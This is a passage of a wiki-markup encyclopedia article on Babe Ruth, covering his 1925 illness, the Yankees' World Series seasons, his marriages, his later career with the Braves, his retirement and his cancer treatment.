During [[spring training]] in 1925, Ruth began suffering severe [[stomach]] cramps and a [[fever]].  His condition gradually became worse, and on [[April 7]] while the Yankees were staying in [[Asheville]], [[North Carolina]], a weakened Ruth completely collapsed in a bathroom.  It was agreed Ruth needed to return to [[New York]] to recover, and he was accompanied by Paul Krichell, a noted Yankees [[scout]].  Ruth's collapse was not newsworthy until one [[London]] newspaper ran a headline that Ruth was dead, a story Krichell quickly quelled when Ruth's train reached [[Washington, D.C]].  By the time their train reached [[Pennsylvania Station (New York)|Pennsylvania Station]] in New York, Ruth was wrapped in blankets and [[unconscious]], and his body had to be lifted out of a train window.  During the wait for an ambulance, Ruth briefly opened his [[eye]]s and saw his wife Helen and [[Ed Barrow]], his former Red Sox manager and now the Yankees general manager.  Shortly thereafter, Ruth became delirious and flailed his arms and legs uncontrollably, and needed to be held down by those around him.  On the ambulance ride to St. Vincent's hospital, Ruth again suffered a couple more convulsive attacks that were so violent it took six assistants to hold him down.  He was given a [[sedative]], and by the time the ambulance reached the hospital Ruth was calm.  

Examined by Dr. Edward King, Ruth's personal physician, Dr. King diagnosed Ruth as having a touch of the [[flu]] and an [[intestinal]] attack.  Dr.  King agreed to let Ruth rejoin the team, but after another week, Ruth's fever became worse, and after another examination, Dr. King now diagnosed Ruth as having an &quot;[[intestinal]] [[abscess]],&quot; and he would need surgery.  The surgery, performed on [[April 17]], took only 20 minutes and was called a complete success.  

Dr. King stated Ruth's [[diet (nutrition)|diet]] was the problem, as Ruth had not watched how much he ate and drank.  Ruth's [[weight]] was high at this time, up to about 256 pounds.  It was writer W.O. McGeehan who invented the story that Ruth's collapse was caused by overindulging on hot dogs and soda pop before a game, a fanciful story which led to Ruth's illness being dubbed &quot;the bellyache heard around the world.&quot;  This story was not that far-fetched, as Ruth, noted for episodes of [[gluttony]], frequently did eat hot dogs before games, and he would wash them down with [[bicarbonate of soda]] to keep from feeling bloated.  

Some newspaper reporters whispered that Ruth actually had a bad case of [[gonorrhea]], but no one seemed to be willing to put this assertion in print.  An old teammate of Ruth's vouched for the [[venereal disease]] story, saying it was the entire reason for Ruth's problems.  A case of [[gonorrhea]] would have not been out of the question for the promiscuous Ruth, and some of his symptoms of [[chills]], [[fever]], and general pain are associated with some more complicated symptoms of gonorrhea.  Still, [[abdominal]] surgery is a very unusual treatment for venereal disease, even during this medical age, and Ruth did have a clear visible [[scar]] running from just under his [[rib cage]] to his left lower [[abdomen]].  Evidence would suggest Ruth's illness was what physicians had stated, but it is possible Ruth may have had both problems, with physicians intentionally not mentioning the venereal problems. 

After six weeks of recovery, Ruth rejoined the Yankees on [[May 26]].  He had lost 30 pounds (14 kg), was weak and out of condition, but he was insistent on being back in the lineup.  He clearly came back too soon.  In [[July]], he was only hitting about .250 as he struggled miserably trying to find his swing.   Eventually he regained some of his strength and managed to get somewhat on track, but he finished with a .290 average and 25 home runs in 98 games.  Except for the last couple of years at the end of his career, the 1925 season was easily Ruth's worst season in the majors.  

The Yankees 1925 season went as badly as Ruth's.  Injuries, age, and poor play had them at the bottom of the standings all year, and they finished next to last in the A.L. with a 69&amp;ndash;85 mark.  Later in the season, Ruth had a well-publicized fight with [[manager]] [[Miller Huggins]], who fined Ruth $5,000 and suspended him nine days for numerous [[curfew]] violations.  Only after an apology to Huggins and the team was he allowed to play again, and Ruth would never again question Huggins's authority.  One bright spot of the season was on [[June 2]] when [[first baseman]] [[Wally Pipp]] was benched to put a young [[Lou Gehrig]] in the lineup, a lineup Gehrig stayed in for the next 2,130 consecutive games.

After his poor 1925 season, Ruth dedicated himself to improving his physical condition, and he worked out hard each off-season.  Ruth's weight would stabilize at about 230&amp;ndash;235 pounds, and over the years he replaced body fat with muscle.  He had turned 30 in 1925, and he went on to have some of his best seasons after this age, a time in sports when the great majority of ball players were past their prime (or out of the game) by the time they reached 30.  Ruth remained a highly productive player until age 38, a testament that Ruth was a far better athlete than often given credit for.

==Return to the top==
The 1925 season proved to be an aberration, as in 1926 he rebounded to being the best player in baseball.  Ruth led the league in [[home runs]], [[RBI]]s, [[runs]] scored, [[bases on balls]], and [[slugging average]].  He finished second in [[batting average]] with a .372 average, just .006 short of the [[triple crown]] (a feat Ruth would never accomplish).  The Yankees also bounced back, going from a 7th place finish in 1925 all the way back to the [[World Series]], where they met the [[St. Louis Cardinals]]. 

The Cardinals were led by star player-manager [[Rogers Hornsby]], who, for him, had experienced a bad year at the plate, hitting just .317, down from his average of .401 for the previous five seasons. The Cardinals had other good players, including [[Jesse Haines]], [[Jim Bottomley]], [[Chick Hafey]], and [[Grover Alexander]], now a 39-year-old [[epileptic]] and [[alcoholic]], who a decade earlier (with [[Walter Johnson]]) was one of the two best pitchers in baseball.    

The Yankees had been heavy favorites in the series, but the Cardinals pushed the series to a 7th game.  The highlights of the series up to this point had been Ruth's 3-home-run game in game 4 (the first time a player hit 3 home runs in a World Series game), and Alexander's clutch pitching that won games 2 and 6. 

In game 7, the Cardinals clung to a 3&amp;ndash;2 lead in the 7th inning, when the Yankees loaded the bases with two outs.  The stage was now set for one of the classic moments in baseball history.  Hornsby removed starting pitcher Haines, who had developed a blister on his finger, and summoned Alexander from the [[bullpen]]. Alexander was napping in the bullpen at the time and, according to some accounts, may have been suffering the effects of a hangover from the previous night's celebration of his game 6 win. Facing [[rookie]] star [[Tony Lazzeri]], Alexander's first pitch was a ball.  The next pitch was a low [[fastball]] that was called a strike.  The next pitch sailed near Lazzeri's head for ball two.  Lazzeri almost assured himself baseball immortality on the next pitch, which he lined to [[left field]] that just went foul, missing a home run by a couple of feet.  With the count now 2&amp;ndash;2, Alexander struck out Lazzeri swinging on a letter-high fastball, ending the Yankees rally. 
[[Image:Ruth1926-3.jpg|thumb|350px|right|Ruth being thrown out trying to steal second, ending the 1926 World Series.]]
Alexander retired the side in the 8th and the first two men in the 9th, when Ruth came up to bat.  Pitching carefully to him, Alexander walked Ruth.  With [[Bob Meusel]] at bat, and [[Lou Gehrig]] in the on-deck circle, Ruth pulled the most notable on-the-field gaffe of his career.  He inexplicably took off trying to steal [[second base]], and was easily thrown out by [[catcher]] Bob O'Farrell, ending the game and giving the Cardinals the World Series. Alexander's strikeout of Lazzeri would go down in baseball lore, and Ruth, despite an outstanding series, was perceived as a goat by some.  In Ruth's defense, some would say the way Alexander was pitching, the Yankees were not likely going to start a rally anyway, and a steal of second might have upset Alexander, and allowing a single to tie the game.  Ruth did not dwell on the play much, as his baseball mentality throughout his entire career was such that he was never afraid of looking bad or failing. 

Ruth's superb 1926 season ended on a bittersweet note, but he had silenced many of his critics who said his career was on the decline after the 1925 season.  Nevertheless, while Ruth had put up some amazing statistics in his first seven years as a Yankee, he had led the Yankees to just one [[World Series]] title, and they had lost three others.  From this point, though, he would enjoy greater World Series success:  in fact, Ruth played in three more series and never again lost even a single World Series game.

==1927: A Team for the Ages==
In 1927, the Ruthian Yankees reached a peak that few teams in baseball history have ever equaled.  They went 110&amp;ndash;44, winning the A.L. pennant by 19 games, and then proceeded to sweep the [[Pittsburgh Pirates]] in the [[World]] [[Series]].  Only four teams have won more games: the 1906 [[Chicago Cubs]], who won 116; the 1954 [[Cleveland Indians]], who won 111; the 1998 Yankees, who won 114; and the 2001 [[Seattle Mariners]], who won 116 games (although the latter two played in 162-game seasons).  The Cubs and Indians, however, both lost in the World Series, and the Mariners were defeated before even reaching the World Series, effectively removing these teams from a debate of the greatest team ever for a single season.  
[[Image:1927NYYankees5.jpg|frame|right|The 1927 New York Yankees.]]

The '27 Yankees batted .307, slugged .489, scored 975 runs, and outscored their opponents by a record 376 runs.  The Yankees did not just beat teams, they demoralized them, and their powerful lineup was again being called &quot;[[Murderers' Row]]&quot; (a term first used by a sportswriter to describe the 1919 pre-Ruth Yankee lineup).  Centerfielder [[Earle Combs]] had a career year, batting .356 with 231 hits, leftfielder [[Bob Meusel]] batted .337 with 103 RBIs, and second baseman [[Tony Lazzeri]] drove in 102 runs.  The pitching staff led the league in ERA at 3.20, and included [[Waite Hoyt]], who went 22&amp;ndash;7, and [[Herb Pennock]], who went 19&amp;ndash;8.  It was [[Lou Gehrig]], though, who broke through and established himself as a great player.  Gehrig had one of the greatest seasons of any hitter.  He batted .373, with 218 hits, 52 doubles, 18 triples, 47 home runs, 175 RBIs, slugged at .765, and was voted A.L. MVP. In time, the 1927 Yankees would send six players to the [[Baseball Hall of Fame]]. 
[[Image:Ruth1927.jpg|thumb|200px|right|Ruth hitting a home run in the 1927 World Series.]]

It was also a magical year for Ruth.  As late as [[August 10]], Gehrig had the home run lead over him, 38&amp;ndash;35.  Gehrig hit only 9 the rest of the season, but Ruth went on a home run tear.  By the next to last game of the season, he was at 59 homers.   On [[September 30]], he lined a shot down the line into the right-field stands for number [[60]] off [[Minnesota Twins|Washington Senators]] pitcher [[Tom Zachary]].  Zachary argued to umpire [[Bill Dinneen]] the ball was foul, but Dinneen upheld the home run.  Ruth had set his home run record of 59 in 1921, but had been unable to even approach it until this season.  After his 60th, an elated Ruth shouted in the clubhouse, &quot;Sixty, count 'em sixty!  Let's see some son of a bitch top that!&quot;  In addition to the home runs, Ruth batted .356 and drove in 164 runs.  

The Yankees met the [[Pittsburgh Pirates]] in the World Series, a team that was just two years removed from a World Series title.  Since their last title the Pirates had added brothers [[Paul Waner|Paul]] and [[Lloyd Waner]] to a good-hitting lineup that included [[Pie Traynor]] and Glenn Wright.  Before game 1, it was said the Yankees smashing balls over the walls in spacious [[Forbes Field]] during batting practice had the Pirate players awestruck and beaten before the series even started.  The series, however, was not a Yankee offensive onslaught.  Two of the games were decided  by one run, the Yankees batting just .279 with 2 home runs (both by Ruth), and they averaged fewer runs per game than their season average.  It would be the Yankees pitching that actually dominated the series.  Their team ERA was 2.00, and the Pirates batted just .223 and scored only 10 runs in the 4 games.  

The 1927 Yankees, as every team in history, had their weaknesses.  They were just average defensively, with mediocre players at [[third base]], [[shortstop]] and [[catcher]], and they also had a weak bench.  The pitching staff was good, but not dominating.  Nevertheless, many present-day baseball historians cite the 1927 Yankees as the greatest baseball team of all-time.

==1928: Repeat==
The Yankees' domination in 1927 carried over into the first half of the 1928 season, where they built a 13-game lead in July.  But the Yankees were soon plagued by some key injuries, erratic pitching and inconsistent play, and a talented [[Philadelphia Athletics]] club quickly closed the gap.  In early [[September]], the A's took over first place with a 1-game lead, but in a pivotal series later that month, the Yankees took 3 out of 4 games and held on to win the pennant.  

Ruth's play in 1928 mirrored his team's play.  He got off to a hot start, and on August 1, had 42 home runs, well ahead of the pace of his record 60 home run season set the previous season.  But Ruth's power waned, and he hit just 12 home runs in the last two months of the regular season.  Still, he  ended the season with an impressive [[54]], the fourth (and last) time he passed 50 home runs in a season. 
[[Image:RuthGehrig.jpg|thumb|200px|left|Ruth and Lou Gehrig, one of the greatest slugging duos in baseball history.]]

The Yankees had a [[World Series]] rematch with the [[St. Louis Cardinals]], who had upset them in the 1926 series.  The Cardinals had the same core players as the 1926 team, except for [[Rogers Hornsby]] at second base, who was traded for [[Frankie Frisch]] after the 1926 season. 

The series was no contest. The Yankees swept the Cardinals 4-0.  No game was close, and Ruth and Gehrig demolished Cardinal pitching.  Ruth went 10&amp;ndash;16 for a .625 average (still a record for average in World Series play), and hit 3 home runs, the second time in a World Series game, and all hit in game 4.  Gehrig was just as great, going 5&amp;ndash;11 for a .545 average, with 4 home runs and 9 RBIs.  The Yankees also extracted some revenge on [[Grover Alexander]], who went 0&amp;ndash;1, with an ERA of 19.80 in 5 innings pitched.  The Yankees had their second straight title, and the 4 game sweeps in back-to-back World Series has been accomplished only one other time, by the 1938 and 1939 Yankees.

== Personal life ==
=== Personality ===
[[Image:Ruthcharity.jpg|thumb|270px|right|Charity work, especially for children, was something Ruth enjoyed.  Here he signs autographs for some hospitalized youngsters.]]

For someone who performed larger-than-life heroics on the field, Ruth was very 
often less than the ideal role model in his behavior and personality.  He drank too much, his speech was splattered with profanities, chased women while a married man, drove cars recklessly, was frequently childishly rebellious with a disregard for rules and authority figures, and sometimes had a quick temper with players, umpires, and even fans.  Yet despite all of his well-publicized faults, millions of people adored him.  He was generous with his time and money, and set up numerous charities, many directed toward children.  On a number of occasions after games, Ruth, not wanting to disappoint any fans, would stand for hours signing autographs.  Long after Ruth's death, [[Ernie Shore]], a teammate of Ruth when both played for the [[Red Sox]], echoed a sentiment shared by many who knew Ruth, &quot;He was the best-hearted fellow who ever lived.  He'd give you the shirt off of his back.&quot;

===Marital separation and the death of first wife===
Ruth's womanizing eventually led to a separation with his wife Helen. Indeed, for Ruth women were always available and he frequently took advantage of the opportunity. He seldom talked about his sexual exploits but never shied away when asked, and once claimed he bedded every woman in a [[St. Louis]] [[brothel]] in one night. The promiscuous lifestyle came with consequences, as it may have led to his 1925 health problems (q.v.), and he also had a couple of paternity suits filed against him, although both of these accusations never went anywhere. His wife Helen undoubtedly heard about her husband's sexual escapades over the years, and seemingly managed to ignore much of it. In 1925, however, with their marriage well beyond repair, both agreed to a separation, but neither sought a [[divorce]], as they were [[Roman Catholic Church|Catholic]]. 

[[Image:Ruth1929.jpg|thumb|220px|left|Ruth at the graveside service of his first wife Helen.]]

Unfortunately, Helen did not live long after her separation from Ruth.  On [[January 11]], [[1929]], Helen died in a house fire in [[Watertown]], [[Massachusetts]]. She had been living there with a dentist, Dr. Edward Kinder, who was away at the time.  Fire examiners later determined that the house had been improperly electrically wired.  As a result, the house's fuses were too large and did not cut off the power when the [[electrical network|circuits]] became overloaded.  Helen had taken Kinder's last name, and after her death, he was shocked to learn that his [[common law]] wife was the legal wife of Babe Ruth. Despite their separation, Ruth cried when he heard the news, and he and a number of Yankees attended her funeral. Helen was just 31.

===New marriage===
[[Image:RuthClaire1930.jpg|thumb|250px|right|Ruth with his second wife Claire Merritt in 1930.]] 

By the time of Helen's death, Ruth was involved with a widowed socialite named [[Claire Merritt Hodgson]], a woman he first met in 1923. Claire was educated, socially sophisticated, and a somewhat strong-minded woman. Babe was instantly attracted to her, and they began regularly seeing each other after his separation from his wife Helen. Helen's death cleared the way for Ruth to marry Claire, and they took their wedding vows on [[April 17]], [[1929]]. 

Upon marriage, Claire took complete control of their finances, and managed Babe's often free-wheeling spending, although he never had any financial problems. She frequently traveled with the team on road trips, and curtailed some of his late-night social activities. She also helped manage his [[diet (nutrition)|diet]], even though she did little cooking herself. Claire cut down his food portions, reduced his starchy foods and desserts, and forced him to eat more meat and vegetables. Ruth loved to drink, and even though he could usually control it, Claire put a limit on it. Claire proved to be an ideal companion for Babe, and they remained together until his death.

==1929&amp;ndash;31==
[[Image:Ruth1930-2.jpg|thumb|190px|right|A well-dressed Ruth in 1930.]]
In 1929, the Yankees [[World Series]] run ended, and the three-year period from 1929 to 1931 would be the longest stretch (excluding his ending years of 1933&amp;ndash;35) that a Ruth team did not win a pennant. The offense was still highly productive, and in fact the 1930 and 1931 teams outscored the great 1927 team, but the pitching fell off badly. The [[Philadelphia Athletics]] overtook the Yankees, and for the next three years won the A.L. pennant. Manager [[Connie Mack]] had rebuilt the A's into one of the best teams ever, and they won the World Series in 1929 and 1930 but were upset in the 1931 series in seven games.  The powerful lineup was led by [[Jimmie Foxx]], [[Al Simmons]], [[Mickey Cochrane]], and the pitching was anchored by [[Lefty Grove]], who undoubtedly was the best pitcher of his era (not to mention one of the greatest pitchers of all-time). Although the Yankees slipped, Ruth continued to put up stellar numbers, and led or tied for the league lead in home runs all three of these years.

During the 1929 season another tragedy struck close to Ruth. Yankee manager [[Miller Huggins]] developed an ugly looking [[carbuncle]] on his face that turned out to be a symptom of [[erysipelas]], a streptococcal [[infection]] of the [[skin]]. The bacterial infection had been left untreated for too long, and [[sepsis]] developed, which proved fatal for Huggins in [[September]]. Huggins had been the only manager Ruth had had as a Yankee, and despite many run-ins with the feisty Huggins, Ruth had great admiration and respect for him. After hearing of his death, Ruth and several Yankee players cried, and the league paid its respect by canceling all games the day after his death.

==Last Glory: The Called Shot==
The Yankees were back on top in 1932.  The team went 107&amp;ndash;47, and easily won the pennant under manager [[Joe McCarthy (baseball)|Joe McCarthy]], who had taken over in 1931 (a job Ruth had eagerly wanted).  The [[Philadelphia Athletics]] run ended, and soon the team was broken up as difficult economic times made it impossible for the A's to meet their stars' salary demands.  Since their last pennant four years earlier, the Yankees had rebuilt their team by adding pitchers [[Red Ruffing]] and [[Lefty Gomez]], infielder [[Joe Sewell]], and catcher [[Bill Dickey]], all future Hall of Fame players.   

For Ruth, it was the last year where he produced at a high level.  He hit .341, with 41 home runs and 137 RBIs, but it was the first time since 1918 that Ruth did not lead the league in home runs when he had played nearly a full season of games.  [[Jimmie Foxx]] nearly equaled Ruth's 60 mark with 58 home runs in 1932, and it was apparent that Ruth was no longer the home run king.  Ruth also missed 21 games, and at the end of the year had missed a couple of weeks due to severe abdominal pains that left him weakened before the start of the World Series.  
[[Image: Ruth1932.jpg|thumb|200px|left| An artist's depiction of Ruth's &quot;called shot.&quot;]]
The Yankees opponents in the 1932 World Series were the [[Chicago Cubs]].  The Cubs were playing just a little better than mediocre ball much of the season, but in a weak year in the [[National League]], they were still in first place with a 53&amp;ndash;46 record under manager [[Rogers Hornsby]].  After a heated argument with Cubs president William Veeck, Hornsby was fired and replaced by [[Charlie Grimm]], the Cubs first baseman.  Grimm led the Cubs to a 37&amp;ndash;18 record the rest the season, and they edged out the [[Pittsburgh Pirates]] for the pennant.  The Cubs built their team on pitching and, led by [[Lon Warneke]], Guy Bush, and [[Charlie Root]], led the league in ERA.  The everyday lineup also had fine players, such as [[Billy Herman]], [[Kiki Cuyler]], and [[Gabby Hartnett]]. 

The Yankees dispatched the Cubs in 4 games with one of the greatest offensive displays in a World Series, certainly the best in a 4-game series.  The Yankees batted .313 and averaged over 9 runs a game.  [[Lou Gehrig]] did much of the damage.  Gehrig went 9&amp;ndash;17, a .529 average, scored 9 runs, drove in 8, and hit 3 home runs.  The series, however, is remembered for one memorable play that occurred in game 3 of the series.  It would be Babe Ruth's last great moment on the baseball stage, when he hit a famous home run that became known as [[Babe Ruth's Called Shot]].

==Decline and end with Yankees==
Despite his heroics in the [[1932 World Series]], Ruth was informed in 1933 by [[Ed Barrow]] that his salary would be cut 33%, from $75,000 to $50,000 a year.  Ruth's salary had been cut before the 1932 season, but it was only a $5,000 cut.  It was the [[Great Depression]], and teams were losing money, although the Yankees themselves were still making a profit.  Cutting Ruth's pay was also part of Barrow and Ruppert's plan to phase Ruth out from the Yankees.  With baseball's [[reserve clause]] firmly in place, Ruth, even with all his stature, had little negotiating power at this stage in his career.  Ruth eventually settled to play for $52,000, although he was still the highest paid player in the game.  Ruth was unhappy with the pay cut, but in these bad economic times, few people felt sorry for him.   

Ruth remained productive in 1933, batting .301, with 34 home runs, 103 RBIs, and led the league in walks with 114.  Although most major league players could only dream about these types of numbers, they were well below Ruth's previous standards.  His [[batting average]] and [[slugging average]] were down over 40 points  and 100 points, respectively, from his career averages, and he was also slow in the field.  It was clear [[Father Time]] was eroding Ruth's skills.  The Yankees did  finish second to the [[Washington Senators]], but they never seriously threatened to win the pennant.  At least to Barrow and Ruppert, Ruth and the Yankees' season justified his pay cut, and the next year, Ruth took another big pay cut down to $25,000 a year. 

One highlight for Ruth during the season was when he hit the very first home run in the very first [[All-Star]] game, held [[July 6]], 1933, at [[Comiskey Park]] in [[Chicago, Illinois]].  His 2-run shot off Bill Hallahan helped the A.L. to a 4&amp;ndash;2 win over the N.L., and he also made a fine defensive catch in the game.  

After the season Ruth continued to press Barrow for a chance to manage the Yankees, but Barrow had no intentions of getting rid of manager [[Joe McCarthy (baseball)|Joe McCarthy]].  Ruth never liked the disciplinarian style of McCarthy, and had even stated he could do a better job managing the team.  The Yankees never gave him the chance.  The closest they came was offering him a chance to manage the Yankees [[farm team]] in [[Newark, New Jersey]], an offer Ruth scoffed at with justification.  Players such as [[Ty Cobb]], [[Tris Speaker]], and 26-year-old [[Joe Cronin]] had been given big league managerial jobs with no previous managing experience.  At one point Frank Navin, owner of the [[Detroit Tigers]], seemed serious about hiring Ruth to player-manage the Tigers.  Ruth, however, put off a meeting with Navin to take a trip to [[Hawaii]], and Navin, never a particularly congenial man, essentially retracted any meeting with Ruth.  Ruth never received a chance to manage, as owners apparently took to heart a statement Barrow had made about Ruth when he said, &quot;How can he manage other men when he can't even manage himself?&quot;

Ruth's play continued downward in 1934, and he finished the year with a .288 average and 22 home runs.  It was understood during the season that it would be Ruth's last season in a Yankee uniform, and Ruth himself stated it might be the last year he played.  He made the 1934 [[All-Star]] team, but certainly this was more an honorary selection than for his play on the field.  During the game, he was the first of the five consecutive strikeout victims (with [[Lou Gehrig]], [[Jimmie Foxx]], [[Al Simmons]], and [[Joe Cronin]]) of [[Carl Hubbell]], one of the most famous moments in All-Star game history.  His last appearances around various cities was understood as his farewell tour, and a fairly large crowd turned out to see his last game at [[Yankee Stadium]].  

After the 1934 season, Ruth went on  a baseball barnstorming tour in the Far East.  Players such as [[Jimmie Foxx]], [[Lefty Gomez]], [[Earl Averill]], [[Charlie Gehringer]], and [[Lou Gehrig]] were among 14 players who played a series of 22 games. Seventeen of the games were played in [[Japan]], and the reception there was completely enthusiastic.  Ruth was by far the most popular [[United States|American]] player in Japan, and over a half a million [[Japanese people|Japanese]] greeted him on his arrival.  Baseball had been big in Japan for decades, so many Japanese baseball fans were well aware of Ruth.  Riding in a car in [[Tokyo]], Ruth waved the American and Japanese flags, and a crowd of Japanese waved American flags back at him.  The games were played in two different stadiums: [[Tokyo]]'s [[Meiji-Jingu Stadium]] which held over 60,000 fans and [[Koshien Stadium]] near [[Kobe, Hyogo|Kobe]] which held over 80,000. Both sites had been sold out for weeks, and Ruth would excite the huge crowds with 13 home runs in the 17 games. The tour in [[Japan]] was a complete success, and in just a couple of years, Japan organized its first professional baseball league, the [[Japanese Baseball|Japan Professional Baseball Association]].

==Return to Boston==
In 1935, [[Boston Braves]] owner [[Emil Fuchs]] was looking to jumpstart the Braves franchise. A perennial cellar-dweller, the Braves had improved somewhat, but the [[Great Depression|Depression]] had killed off attendance and Fuchs was desperate to revive fan interest and revenue.  Fuchs was very interested in Ruth and worked out a complex deal with Barrow and Ruppert to get Ruth in February, 1935.  Fuchs promised Ruth a share in the team's profits, a managerial job as assistant to Braves manager Bill Mckechnie (with a good chance to succeed him next year), and Ruth could play whenever he wanted.  All parties seemed happy with the deal, and with much media hoopla, Ruth returned to the city that gave him his major league start.
[[Image:Ruth1935.jpg|thumb|200px|right|Ruth in a Boston Braves uniform in 1935, his last year as a player.]]
On opening day before a home capacity crowd of over 25,000, Ruth was responsible for all the Braves runs in a 4&amp;ndash;2 win over [[Carl Hubbell]] and the [[New York Giants]].  It was just one game, but fan excitement for the Braves was as high as it had ever been.  The euphoria quickly died away.  Ruth completely stopped hitting, was clumsy in the field, and soon missed a dozen or so games.  The Braves were as bad as they had ever been, and the few fans that showed up booed the team.  Ruth was also miffed that Mckechnie ignored any of his managerial advice.  Seeing a franchise in disarray, Ruth soon realized that Fuch's promise of a stake in the Braves profits was a lot of hot air, as there would be few profits for a losing team that had little fan support.   

On [[May 25]], [[1935]], at [[Forbes Field]], [[Pittsburgh]], Ruth gave one last glimpse of how great a player he was.  He went 4&amp;ndash;4, drove in 6 runs, and hit 3 home runs in an 11&amp;ndash;7 loss to the Pirates.  The last home run was said to be the longest ball ever hit at Forbes Field.  It was his 714th and last home run, and last hit.  He hung on for another few days, and on [[May 30]] in [[Philadelphia]], played in his last major league game.  He struck out in the first inning and, while playing the field in the same inning, hurt his [[knee]] and left the game.  Ruth would never play another big league game.  

Fuchs and Ruth's relationship soured badly.  Fuchs blamed Ruth for the Braves' failures, and Ruth believed Fuchs had lied to him about the Braves franchise.  On [[June 1]], after having had another argument with Fuchs, Ruth stated to reporters, &quot;I'm quitting.&quot; The experiment with Fuchs, Ruth and the Braves was a complete failure for all parties.  Fuchs, who was deeply in debt, saw revenue and attendance continue to fall, and soon lost ownership control of the team.  Ruth played in only 28 games and batted a dismal .181 in 72 at-bats while striking out 24 times in his last season as a player.  The season for the Braves was a complete disaster, as they finished 38&amp;ndash;115, a .248 winning percentage, the third worst percentage in major league history.

==Retirement and later years==
When Ruth retired in 1935, many of his major batting records seemed almost untouchable.  He held the records for career [[bases on balls]] (2,062), bases on balls in a season (170), [[on-base percentage]] (.474, although a statistic not yet created during Ruth's era), career [[RBI]]s (2,213), career [[slugging average]] (.690), slugging average in a season (.847), [[home run]]s in a season (60), home run ratio (1 every 11.76 at bats), and career home runs (714).  His career home run total at his retirement was twice that of the next nearest player, [[Lou Gehrig]].  It took many decades, but, except for his career slugging average, all of these major records have fallen, including the fabled 60 and 714 home run marks.  Over the years, Ruth's image, and even his 60 and 714 numbers, grew into an almost sacred status among some [[fan (aficionado)|fans]], so much so that when [[Roger Maris]] and [[Hank Aaron]] both approached, and eventually surpassed both these records, respectively, both men were deluged with [[hate mail]].

Although many of his batting records have been surpassed, a strong case can be made that Ruth still owns the greatest career batting numbers of any player in baseball history, and a major reason why Ruth's name grew into an almost legendary and iconic figure. 

In 1936, Ruth was one of the first five players elected into the [[Baseball Hall of Fame]]. 

[[Image:Ruth1938.jpg|thumb|300px|right|Ruth coaching first base for the Brooklyn Dodgers in 1938.]]
Retirement was often unsettling for Ruth.  He had more than enough [[money]], but he missed the game.  He spent much time on the [[golf]] course, dabbled in a few other things, but his heart was set on managing a big league club.  He would never be given the chance.  The closest Ruth ever came to managing was when [[Brooklyn Dodgers]] general manager [[Larry MacPhail]] offered him a first base coaching job in June 1938.  The Dodgers attendance was lagging, and MacPhail hired Ruth for the sole purpose of getting people to the [[ballpark]].  Ruth took the job, perhaps thinking he would have a chance to manage the Dodgers in the future, but MacPhail had clearly stated to Ruth that [[Leo Durocher]] was being groomed to take over the managerial reigns of the Dodgers for next season.  Ruth never got along with Durocher, and he quit at the end of the season.  The coaching position was the last time Ruth would have a job in major league baseball.    

In 1939, all the years of fast living began to show signs of catching up with Ruth.  During a round of [[golf]] with his playing partner Ben Curry, Ruth said to him, &quot;I feel terrible.&quot; He was taken to the clubhouse where a doctor observed his condition.  It was not diagnosed then, but Ruth had probably suffered a mild [[heart attack]], and about a year later, he suffered another similar attack.  By this time Ruth's weight had ballooned to over 270 pounds (122 kg). 

In 1942, Ruth was asked to play a part (as himself, in his athletic prime) in the film ''[[The Pride of the Yankees]]'', a film biography of [[Lou Gehrig]], who had passed away from [[Motor neurone disease|ALS]] in [[June]] 1941.  Ruth needed to lose a great deal of weight to play the role, and with a vigorous workout schedule he had lost 40 pounds (18 kg).  He did a respectable job of acting in a bit part, but the strict hours of filming did not suit his night life.  He caught a bad [[common cold|cold]] (he had caught frequent colds his whole life), which developed into [[pneumonia]].  At one point, a report circulated that he was near death, but he recovered in a couple of weeks and finished the film part.

During [[World War II]], Ruth did some charity work for the [[Red Cross]], and bought over $100,000 in war bonds himself.  He even organized a charity golf game with his old rival [[Ty Cobb]] (the two had despised each other in their playing days).  Ruth appeared at many benefits during the war, and a few times donned his old baseball uniform.   During one benefit at [[Yankee Stadium]], he batted against the former great pitcher [[Walter Johnson]], and another time, pinch hit in a game made up of teams from the armed forces.  Later in 1943 in another charity game at Yankee Stadium, he pinch hit and drew a walk, but tore [[cartilage]] in his [[knee]] while running the bases. This would be the last time he would play in a formal game.

==Illness==
After the war, Ruth continued to look for a chance to manage in the big leagues.  While in the past he had essentially been [[blackballed]] by owners who, for various reasons, did not trust him, this time it was his health that would prevent the opportunity.  In 1946, he began experiencing severe pain over his left eye.  He was not concerned, thinking it was [[sinus]] problems, but this situation was much more grave than his health problems of the past.  In [[November]] 1946, a visit to French Hospital in [[New York]] revealed Ruth had a [[cancer|malignant tumor]] in his neck that had encircled his left [[carotid artery]], and physicians told him he would need surgery to have the cancerous growth removed.  During the surgery, part of the [[nerve]]s that led to the [[larynx]] had to be cut, and as a result his voice was reduced to a whisper.  He would be unable to swallow foods and had to be fed with [[feeding tube]]s.  Since physicians could not remove all the cancer, Ruth was given [[radiation therapy]] to treat the cancer that remained.  

Released from the hospital in February 1947, Ruth was now 80 pounds (36 kg) lighter.  Although he regained enough of his strength to play [[golf]], hunt, and do other activities he had enjoyed, it was obvious to all who saw him that his health was not good.  The tumor continued to grow, and he was in so much pain that he required [[morphine]].  He did manage to attend Babe Ruth Day, an appreciation of what Ruth had done for the game, held [[April 27]], [[1947]] at [[Yankee Stadium]].  It was on this occasion where Ruth spoke in a disheartening croaking voice to a capacity crowd of more than 60,000.  He made a speech which included the line, &quot;The only real game in the world, I think, is baseball.&quot;

In June 1947, Ruth was in so much pain physicians tried an experimental new [[medication|drug]] on him, a drug that was a synthetic form of [[folate]].  The ongoing treatments seemingly improved Ruth so much that his case was cited at an International Cancer Congress held in [[St. Louis]].  He seemed to have recovered some of his health and, with renewed energy, started the Babe Ruth Foundation, a charity for disadvantaged children.  Another Babe Ruth Day held at [[Yankee Stadium]] in [[September]] helped raise money for his newest charity.  

[[Image:Ruth1948.jpg|thumb|230px|left|A cancer-ravaged Ruth (right) in 1948, visited by New York City Mayor [[William O'Dwyer]].]]
